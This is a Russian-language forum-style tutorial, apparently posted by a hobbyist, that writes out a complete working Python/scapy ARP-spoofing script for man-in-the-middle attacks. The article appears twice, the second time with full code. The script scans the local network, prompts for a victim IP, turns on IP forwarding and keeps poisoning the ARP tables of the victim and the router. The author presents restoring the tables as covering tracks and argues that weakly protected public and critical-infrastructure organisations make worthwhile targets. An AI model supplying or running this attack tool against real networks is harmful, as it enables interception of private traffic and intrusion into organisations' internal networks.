Об ARP-спуфинге говорят немало. Это один из простейших видов атаки Man-in-the-Middle. Решил и я внести посильный вклад в копилку информации, ибо не обошло это и меня, как начинающего писать код. Далее я опишу код на Python, который делает рассылку ARP-ответов атакуемой машине и роутеру. О целесообразности данного вида атак я напишу немного ниже.
Целесообразность данного вида атаки
Самая большая сложность будет заключаться в том, чтобы подсоединиться к атакуемой сети. И если, в случае с общественными Wi-Fi сетями проблем особых не возникнет, то вот подключение к сетям в каких-либо организациях может вызвать некоторые сложности. Но, предположим, что вы подключились. И тут начинается интересное. Многие сейчас начнут говорить о том, что современные маршрутизаторы защищены от данного вида атак. И да, так оно и есть. Вполне себе дорогущие Cisco. Но много ли таких маршрутизаторов стоит в организациях? Это уже вопрос. Не все могут себе позволить такую роскошь, если вы конечно не пенсионный фонд. Но это так, к слову.
А на деле, не буду говорить про города, ситуация довольно печальная. Ведь помимо городов есть и поселки городского типа. А уж в этих поселках я поработал в разного рода бюджетных организациях и могу сказать, что да, на выходе в интернет у некоторых стоят VipNet координаторы. Но, это только у некоторых. И только в интернет. А вот внутренние сети объединяются между собой с помощью дешевого оборудования. Разговоров о безопасности КИИ, то есть объектов критической информационной инфраструктуры много. Но, на деле все несколько печальнее.
К примеру, в некоторых организациях, не буду говорить каких, для передачи данных содержащих персональную информацию в другие организации стоит VipNet Client. Но и только. Все остальное передается просто так. Посредством обычной почты. А это львиная доля информации. Более того, даже серваки которые коннектятся к базам данных, не подключены к частной випнетовской сети. То есть, все передается напрямую. В общем и целом, если подытожить. Если вы попали внутрь такой сети, то у вас откроется большой простор для действий. А значит и целесообразность атак вполне себе оправдана.
Да, забыл упомянуть, что некоторые организации вообще уникумы. Помимо защищенной сети координатором проводят себе дополнительную точку доступа, к примеру, от Ростелекома и пользуются ей. А она зачастую имеет в своем составе Wi-Fi роутер. Знал я такую организацию, офис которой располагался на 4 этаже. А вот сигнал роутера можно было ловить во дворе здания. То есть, немного желания и прямые руки, и дорожка во внутреннюю сеть будет проложена. Другое дело, что это пгт, и там особо никто не задумывается о данной проблеме.
Что потребуется?
Установить библиотеку getmac, она будет нужна для определения локального mac-адреса машины. netifaces, для получения локального ip. Установить библиотеку scapy, которая и будет использоваться для отправки ARP-ответов. Ну и импортировать несколько стандартных модулей.
Блок импорта после установки библиотек:
И да, атаковать сеть нужно будет из под Linux, а код запускать с правами суперпользователя. Так как с Windows машинами несколько все происходит сложнее.
Вспомогательные функции
Для начала давайте создадим несколько вспомогательных функций. Они облегчат проведение ARP-spoofing. В принципе, все сведется даже к тому, что нужно будет ввести только адрес атакуемой машины. И да, если сеть не раздает адреса по DHCP, то тут нужно будет постараться. И ручками менять код. Но, это другая история. У нас ведь идеальный тестовый стенд. Тем более, что перед данного вида атаками нужно провести хотя бы минимальную предварительную подготовку и исследовать ту сеть, которую будете атаковать.
Получаем локальный IP-адрес сетевого интерфейса, который используется в данный момент по умолчанию.
Здесь, с помощью функции _get_default_iface_linux(), которая включена в библиотеку getmac получаем имя интерфейса по умолчанию. Затем, с помощью функции ifaddresses из библиотеки netifaces получаем IP-адрес. Если в данный момент нет сети, то возвращаем пользователю значение localhost.
Теперь нужно получить адрес шлюза по умолчанию. Ведь именно на него будет направлена атака. Для этого сделаем функцию get_gateway_linx(). Данная функция будет работать только в Linux. Для Windows машин это делается похоже, но команды используются несколько иные.
Здесь, с помощью subprocess.check_output получаем вывод команды «route -n», после чего обрезаем ее до нужного значения и передаем пользователю. Но, бывает, что вместо ip-адреса сюда прилетает сетевое имя, а значит, нужно сделать проверку, если не цифры, то с помощью сокета сделать запрос на получение ip по сетевому имени роутера. И после возвратить итог пользователю.
Теперь просканируем сеть на наличие в ней машин, их ip и mac адресов. Ведь нам нужно понимать и видеть, что мы будем атаковать, а не вводить наугад значения. Подробно останавливаться на данной функции не буду. Если вкратце, то она отправляет широковещательный ARP-запрос по всем ip адресам данной подсети, а именно той, в которой находится машина атакующего. И результат сканирования сохраняется в список из словарей. Функцию сканирования сети я уже описывал в этой статье.
А также нужна функция печати, которая и выведет полученные значения в терминал. Поэтому создадим еще и функцию print_ip_mac(mac_ip_list), которая на входе получает созданный нами в предыдущей функции список ip и mac адресов и выводит на экран.
Формирование и отправка пакетов
А теперь функции отправки ответов. Оригинальничать я не стал и назвал ее arp_spoof(target_ip, spoof_ip). На входе она получает адрес атакуемой машины и адрес цели, которой нужно передать данные об атакуемой машине, то есть адрес роутера. Или наоборот. Ведь нам нужно передавать пакеты в обе стороны. Чтобы и машина и роутер принимали машину атакующего за что-то другое. Со стороны роутера — за целевую машину. Со стороны машины — за роутер.
Здесь все просто. Создаем ARP-пакет, в котором с помощью опций указываем нужные параметры. op — принимаемое значение 1 или 2. Единица означает, что тип пакета собственно, запрос. А двойка — означает, что тип пакета — ответ. pdst — адрес атакуемой машины, целевой. hwdst — mac-адрес целевой машины. В данном случае он получается с помощью функции описанной ранее, то есть функции сканирования сети. Только в данном случае в функцию передается не вся подсеть, а конкретный адрес. psrc — адрес роутера.
Что здесь происходит? Создается пакет типа ответ, в котором передается информация о том, что я машина с таким-то IP и MAC адресом являюсь роутером. Так как передача данных идет в доверенной сети, то атакуемая машина автоматически записывает полученное значение в свою ARP-таблицу.
Ну, а далее, данный пакет передается в сеть. И параметр verbose, который подавляет вывод значений в терминал. Все довольно просто.
Восстановление ARP-таблицы
И да, давайте сразу создадим функцию которая будет принудительно восстанавливать значение атакуемой машины и роутера в ARP-таблицах для скрытия следов атаки. А то, мало ли чего. Хотя, так то, примерно через 2 минуты записи обновятся автоматически. Но, все же желательно замести следы. Создадим функцию restore_arp(target_ip, spoof_ip), которая также принимает адрес целевой машины и роутера. И так же как и в предыдущей функции формируем ARP-пакет. Но здесь мы явно указываем параметр hwsrc, которого не было в предыдущем пакете. По умолчанию, если данного параметра нет, то отправляется mac-адрес машины, с которой и уходит ARP-ответ. Но, нам то надо восстановить таблицы. Потому указываем, что mac-адрес машины отправившей данный ответ такой-то. То есть, для атакованной машины это будет реальный mac-адрес роутера, а для роутера машины. Ну и все это дело отправляем четыре раза, для большей уверенности, что ничего не потеряется, будет доставлено и принято. И также отключаем в машине атакующего ip форвардинг, то есть автоматическую пересылку всех пакетов.
Вызов ранее описанных функций
Ну и последняя функция main(). Делаем для начала проверку, запущен ли скрипт с правами суперпользователя:
Затем получаем локальный IP-машины, получаем адрес роутера. Выводим эту информацию на экран. На основании полученного IP сканируем сеть на наличии в ней машин, после чего, также выводим все это в терминал. А уже только после этого делаем запрос на ввод IP-адреса атакуемой машины. После чего переводим машину в режим ip-форвардинга.
Затем отправляем пакеты. Устанавливаем счетчик, который будет показывать информацию о количестве отправленных пакетов. Вообще, этого можно было бы и не делать. Но так хотя бы видно, что происходит какое-то действие и скрипт продолжает работу. Делаем бесконечный цикл в котором вызываем функцию отправки пакетов сначала атакуемой машине, затем роутеру. Увеличиваем счетчик пакетов и выводим на экран. Делаем паузу в две секунды и повторяем все снова. Ну и заключаем все это в try-except, чтобы обработать прерывание работы скрипта с клавиатуры. Вызываем функцию восстановления таблицы сначала для атакуемой машины, а затем роутера. Выводим информацию о том, что все завершилось на экран.
Вот в принципе и все. Скрипт для ARP-спуфинга готов. Можно попробовать как он работает в действии.
Запускаем скрипт. Видим информацию о машинах в сети. После чего вводим ip-жертвы и наблюдаем за работой.
Тут понятное дело, нужно теперь запустить что-то, что будет пакеты проходящие через нашу машину прослушивать и отлавливать нужную информацию. Можно воспользоваться Wireshark, а можно создать свой скрипт для прослушивания трафика. Но, об этом, возможно, в следующий раз.
Спасибо за внимание. Надеюсь, что данная информация кому-нибудь будет полезна
Целесообразность данного вида атаки
Самая большая сложность будет заключаться в том, чтобы подсоединиться к атакуемой сети. И если, в случае с общественными Wi-Fi сетями проблем особых не возникнет, то вот подключение к сетям в каких-либо организациях может вызвать некоторые сложности. Но, предположим, что вы подключились. И тут начинается интересное. Многие сейчас начнут говорить о том, что современные маршрутизаторы защищены от данного вида атак. И да, так оно и есть. Вполне себе дорогущие Cisco. Но много ли таких маршрутизаторов стоит в организациях? Это уже вопрос. Не все могут себе позволить такую роскошь, если вы конечно не пенсионный фонд. Но это так, к слову.
А на деле, не буду говорить про города, ситуация довольно печальная. Ведь помимо городов есть и поселки городского типа. А уж в этих поселках я поработал в разного рода бюджетных организациях и могу сказать, что да, на выходе в интернет у некоторых стоят VipNet координаторы. Но, это только у некоторых. И только в интернет. А вот внутренние сети объединяются между собой с помощью дешевого оборудования. Разговоров о безопасности КИИ, то есть объектов критической информационной инфраструктуры много. Но, на деле все несколько печальнее.
К примеру, в некоторых организациях, не буду говорить каких, для передачи данных содержащих персональную информацию в другие организации стоит VipNet Client. Но и только. Все остальное передается просто так. Посредством обычной почты. А это львиная доля информации. Более того, даже серваки которые коннектятся к базам данных, не подключены к частной випнетовской сети. То есть, все передается напрямую. В общем и целом, если подытожить. Если вы попали внутрь такой сети, то у вас откроется большой простор для действий. А значит и целесообразность атак вполне себе оправдана.
Да, забыл упомянуть, что некоторые организации вообще уникумы. Помимо защищенной сети координатором проводят себе дополнительную точку доступа, к примеру, от Ростелекома и пользуются ей. А она зачастую имеет в своем составе Wi-Fi роутер. Знал я такую организацию, офис которой располагался на 4 этаже. А вот сигнал роутера можно было ловить во дворе здания. То есть, немного желания и прямые руки, и дорожка во внутреннюю сеть будет проложена. Другое дело, что это пгт, и там особо никто не задумывается о данной проблеме.
Что потребуется?
Установить библиотеку getmac, она будет нужна для определения локального mac-адреса машины. netifaces, для получения локального ip. Установить библиотеку scapy, которая и будет использоваться для отправки ARP-ответов. Ну и импортировать несколько стандартных модулей.
Код:
pip install getmac netifaces
pip install --pre scapy[basic]
Блок импорта после установки библиотек:
Python:
import os
import socket
import subprocess
import time
from getmac.getmac import _get_default_iface_linux
from netifaces import ifaddresses, AF_INET
import scapy.all as scapy
И да, атаковать сеть нужно будет из под Linux, а код запускать с правами суперпользователя. Так как с Windows машинами несколько все происходит сложнее.
Вспомогательные функции
Для начала давайте создадим несколько вспомогательных функций. Они облегчат проведение ARP-spoofing. В принципе, все сведется даже к тому, что нужно будет ввести только адрес атакуемой машины. И да, если сеть не раздает адреса по DHCP, то тут нужно будет постараться. И ручками менять код. Но, это другая история. У нас ведь идеальный тестовый стенд. Тем более, что перед данного вида атаками нужно провести хотя бы минимальную предварительную подготовку и исследовать ту сеть, которую будете атаковать.
Получаем локальный IP-адрес сетевого интерфейса, который используется в данный момент по умолчанию.
Python:
def local_ipv4():
try:
return ifaddresses(_get_default_iface_linux()).setdefault(AF_INET)[0]['addr']
except TypeError:
return '127.0.0.1'
Здесь, с помощью функции _get_default_iface_linux(), которая включена в библиотеку getmac получаем имя интерфейса по умолчанию. Затем, с помощью функции ifaddresses из библиотеки netifaces получаем IP-адрес. Если в данный момент нет сети, то возвращаем пользователю значение localhost.
Теперь нужно получить адрес шлюза по умолчанию. Ведь именно на него будет направлена атака. Для этого сделаем функцию get_gateway_linx(). Данная функция будет работать только в Linux. Для Windows машин это делается похоже, но команды используются несколько иные.
Python:
def get_gateway_linx():
com = 'route -n'.split()
ip_route = str(subprocess.check_output(com, shell=True)).split("\\n")[2].split()[1].strip()
if ip_route.isdigit():
return ip_route
else:
sock = socket.gethostbyname(ip_route)
return sock
Здесь, с помощью subprocess.check_output получаем вывод команды «route -n», после чего обрезаем ее до нужного значения и передаем пользователю. Но, бывает, что вместо ip-адреса сюда прилетает сетевое имя, а значит, нужно сделать проверку, если не цифры, то с помощью сокета сделать запрос на получение ip по сетевому имени роутера. И после возвратить итог пользователю.
Теперь просканируем сеть на наличие в ней машин, их ip и mac адресов. Ведь нам нужно понимать и видеть, что мы будем атаковать, а не вводить наугад значения. Подробно останавливаться на данной функции не буду. Если вкратце, то она отправляет широковещательный ARP-запрос по всем ip адресам данной подсети, а именно той, в которой находится машина атакующего. И результат сканирования сохраняется в список из словарей. Функцию сканирования сети я уже описывал в этой статье.
Python:
def get_ip_mac_nework(ip):
answered_list = scapy.srp(scapy.Ether(dst='ff:ff:ff:ff:ff:ff') / scapy.ARP(pdst=ip), timeout=1, verbose=False)[0]
clients_list = []
for element in answered_list:
clients_list.append({'ip': element[1].psrc, 'mac': element[1].hwsrc})
return clients_list
А также нужна функция печати, которая и выведет полученные значения в терминал. Поэтому создадим еще и функцию print_ip_mac(mac_ip_list), которая на входе получает созданный нами в предыдущей функции список ip и mac адресов и выводит на экран.
Python:
def print_ip_mac(mac_ip_list):
print(f"\nКомпьютеры в сети:\n\nIP\t\t\tMAC-адрес\n{'-' * 41}")
for client in mac_ip_list:
print(f'{client["ip"]}\t\t{client["mac"]}')
Формирование и отправка пакетов
А теперь функции отправки ответов. Оригинальничать я не стал и назвал ее arp_spoof(target_ip, spoof_ip). На входе она получает адрес атакуемой машины и адрес цели, которой нужно передать данные об атакуемой машине, то есть адрес роутера. Или наоборот. Ведь нам нужно передавать пакеты в обе стороны. Чтобы и машина и роутер принимали машину атакующего за что-то другое. Со стороны роутера — за целевую машину. Со стороны машины — за роутер.
Python:
def arp_spoof(target_ip, spoof_ip):
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=get_ip_mac_nework(target_ip)[0]['mac'],
psrc=spoof_ip)
scapy.send(packet, verbose=False)
Здесь все просто. Создаем ARP-пакет, в котором с помощью опций указываем нужные параметры. op — принимаемое значение 1 или 2. Единица означает, что тип пакета собственно, запрос. А двойка — означает, что тип пакета — ответ. pdst — адрес атакуемой машины, целевой. hwdst — mac-адрес целевой машины. В данном случае он получается с помощью функции описанной ранее, то есть функции сканирования сети. Только в данном случае в функцию передается не вся подсеть, а конкретный адрес. psrc — адрес роутера.
Что здесь происходит? Создается пакет типа ответ, в котором передается информация о том, что я машина с таким-то IP и MAC адресом являюсь роутером. Так как передача данных идет в доверенной сети, то атакуемая машина автоматически записывает полученное значение в свою ARP-таблицу.
Ну, а далее, данный пакет передается в сеть. И параметр verbose, который подавляет вывод значений в терминал. Все довольно просто.
Восстановление ARP-таблицы
И да, давайте сразу создадим функцию которая будет принудительно восстанавливать значение атакуемой машины и роутера в ARP-таблицах для скрытия следов атаки. А то, мало ли чего. Хотя, так то, примерно через 2 минуты записи обновятся автоматически. Но, все же желательно замести следы. Создадим функцию restore_arp(target_ip, spoof_ip), которая также принимает адрес целевой машины и роутера. И так же как и в предыдущей функции формируем ARP-пакет. Но здесь мы явно указываем параметр hwsrc, которого не было в предыдущем пакете. По умолчанию, если данного параметра нет, то отправляется mac-адрес машины, с которой и уходит ARP-ответ. Но, нам то надо восстановить таблицы. Потому указываем, что mac-адрес машины отправившей данный ответ такой-то. То есть, для атакованной машины это будет реальный mac-адрес роутера, а для роутера машины. Ну и все это дело отправляем четыре раза, для большей уверенности, что ничего не потеряется, будет доставлено и принято. И также отключаем в машине атакующего ip форвардинг, то есть автоматическую пересылку всех пакетов.
Python:
def restore_arp(target_ip, spoof_ip):
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=get_ip_mac_nework(target_ip)[0]['mac'],
psrc=spoof_ip, hwsrc=get_ip_mac_nework(spoof_ip)[0]['mac'])
scapy.send(packet, count=4, verbose=False)
subprocess.call('echo 0 > /proc/sys/net/ipv4/ip_forward', shell=True)
Вызов ранее описанных функций
Ну и последняя функция main(). Делаем для начала проверку, запущен ли скрипт с правами суперпользователя:
Python:
if not os.getuid() == 0:
print('\n[+] Запустите скрипт с правами суперпользователя!\n')
return
Затем получаем локальный IP-машины, получаем адрес роутера. Выводим эту информацию на экран. На основании полученного IP сканируем сеть на наличии в ней машин, после чего, также выводим все это в терминал. А уже только после этого делаем запрос на ввод IP-адреса атакуемой машины. После чего переводим машину в режим ip-форвардинга.
Python:
local_ip = local_ipv4()
spoof_ip = get_gateway_linx()
print(f'\n[+] Локальный IP: {local_ip}\n[+] Адрес шлюза: {spoof_ip}')
ip_mac_network = get_ip_mac_nework(
f'{local_ip.split(".")[0]}.{local_ip.split(".")[1]}.{local_ip.split(".")[2]}.1/24')
print_ip_mac(ip_mac_network)
target_ip = input('\n[+] Введите адрес цели >>> ')
subprocess.call('echo 1 > /proc/sys/net/ipv4/ip_forward', shell=True)
Затем отправляем пакеты. Устанавливаем счетчик, который будет показывать информацию о количестве отправленных пакетов. Вообще, этого можно было бы и не делать. Но так хотя бы видно, что происходит какое-то действие и скрипт продолжает работу. Делаем бесконечный цикл в котором вызываем функцию отправки пакетов сначала атакуемой машине, затем роутеру. Увеличиваем счетчик пакетов и выводим на экран. Делаем паузу в две секунды и повторяем все снова. Ну и заключаем все это в try-except, чтобы обработать прерывание работы скрипта с клавиатуры. Вызываем функцию восстановления таблицы сначала для атакуемой машины, а затем роутера. Выводим информацию о том, что все завершилось на экран.
Python:
packet_count = 0
try:
while True:
arp_spoof(target_ip, spoof_ip)
arp_spoof(spoof_ip, target_ip)
packet_count = packet_count + 2
print(f'\rОтправлено пакетов: {packet_count}', end="")
time.sleep(2)
except KeyboardInterrupt:
restore_arp(target_ip, spoof_ip)
restore_arp(spoof_ip, target_ip)
print('\n\n[+] Восстановление ARP-таблиц закончено.\n[+] Good by!\n')
Вот в принципе и все. Скрипт для ARP-спуфинга готов. Можно попробовать как он работает в действии.
Python:
import os
import socket
import subprocess
import time
from getmac.getmac import _get_default_iface_linux
from netifaces import ifaddresses, AF_INET
import scapy.all as scapy
# получаем локальный IP-адрес
def local_ipv4():
try:
return ifaddresses(_get_default_iface_linux()).setdefault(AF_INET)[0]['addr']
except TypeError:
return '127.0.0.1'
# получение ip адреса шлюза используемого по умолчанию
def get_gateway_linx():
com = 'route -n'.split()
ip_route = str(subprocess.check_output(com, shell=True)).split("\\n")[2].split()[1].strip()
if ip_route.isdigit():
return ip_route
else:
sock = socket.gethostbyname(ip_route)
return sock
def get_ip_mac_nework(ip):
answered_list = scapy.srp(scapy.Ether(dst='ff:ff:ff:ff:ff:ff') / scapy.ARP(pdst=ip), timeout=1, verbose=False)[0]
clients_list = []
for element in answered_list:
clients_list.append({'ip': element[1].psrc, 'mac': element[1].hwsrc})
return clients_list
def arp_spoof(target_ip, spoof_ip):
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=get_ip_mac_nework(target_ip)[0]['mac'],
psrc=spoof_ip)
scapy.send(packet, verbose=False)
def restore_arp(target_ip, spoof_ip):
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=get_ip_mac_nework(target_ip)[0]['mac'],
psrc=spoof_ip, hwsrc=get_ip_mac_nework(spoof_ip)[0]['mac'])
scapy.send(packet, count=4, verbose=False)
subprocess.call('echo 0 > /proc/sys/net/ipv4/ip_forward', shell=True)
# функция печати сканированных ip и mac
def print_ip_mac(mac_ip_list):
print(f"\nКомпьютеры в сети:\n\nIP\t\t\tMAC-адрес\n{'-' * 41}")
for client in mac_ip_list:
print(f'{client["ip"]}\t\t{client["mac"]}')
def main():
if not os.getuid() == 0:
print('\n[+] Запустите скрипт с правами суперпользователя!\n')
return
try:
local_ip = local_ipv4()
spoof_ip = get_gateway_linx()
print(f'\n[+] Локальный IP: {local_ip}\n[+] Адрес шлюза: {spoof_ip}')
ip_mac_network = get_ip_mac_nework(
f'{local_ip.split(".")[0]}.{local_ip.split(".")[1]}.{local_ip.split(".")[2]}.1/24')
print_ip_mac(ip_mac_network)
target_ip = input('\n[+] Введите адрес цели >>> ')
subprocess.call('echo 1 > /proc/sys/net/ipv4/ip_forward', shell=True)
except KeyboardInterrupt:
print('\n\n[+] Good by!\n')
return
packet_count = 0
try:
while True:
arp_spoof(target_ip, spoof_ip)
arp_spoof(spoof_ip, target_ip)
packet_count = packet_count + 2
print(f'\rОтправлено пакетов: {packet_count}', end="")
time.sleep(2)
except KeyboardInterrupt:
restore_arp(target_ip, spoof_ip)
restore_arp(spoof_ip, target_ip)
print('\n\n[+] Восстановление ARP-таблиц закончено.\n[+] Good by!\n')
if __name__ == "__main__":
main()
Запускаем скрипт. Видим информацию о машинах в сети. После чего вводим ip-жертвы и наблюдаем за работой.
Тут понятное дело, нужно теперь запустить что-то, что будет пакеты проходящие через нашу машину прослушивать и отлавливать нужную информацию. Можно воспользоваться Wireshark, а можно создать свой скрипт для прослушивания трафика. Но, об этом, возможно, в следующий раз.
Спасибо за внимание. Надеюсь, что данная информация кому-нибудь будет полезна
Последнее редактирование: